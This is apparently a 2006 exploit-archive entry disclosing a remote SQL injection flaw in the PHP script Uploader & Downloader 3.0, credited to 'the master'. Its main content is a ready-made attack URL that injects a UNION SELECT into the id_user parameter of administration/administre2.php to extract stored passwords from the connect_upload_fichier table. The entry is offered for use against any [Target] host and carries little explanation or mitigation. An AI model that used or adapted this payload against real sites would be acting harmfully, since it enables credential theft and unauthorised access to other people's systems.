[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : Uploader & Downloader 3.0 (id_user) Remote SQL Injection Vulnerability
# Published : 2006-12-18
# Author : the master
# Previous Title : VerliAdmin <= 0.3 (index.php) Remote File Include Exploit
# Next Title : RateMe <= 1.3.2 (main.inc.php) Remote File Include Vulnerability
########################################################################
# uploader&downloader v3 Remote SQL Injection Vulnerability
#
# Download: ftp://ftp1.comscripts.com/PHP/1892_uploader-30.zip
#
# Found By: the master
#
########################################################################
# exploit:
#
# http://[Target]/[Path]/administration/administre2.php?id_user=-1%20UNION%20SELECT%20null,passe,null,null%20FROM%20connect_upload_fichier%20WHERE%20id_user=1
#
# Greetz: str0ke , Dr Max Virus , Kacper
########################################################################
# www.Syue.com [2006-12-18]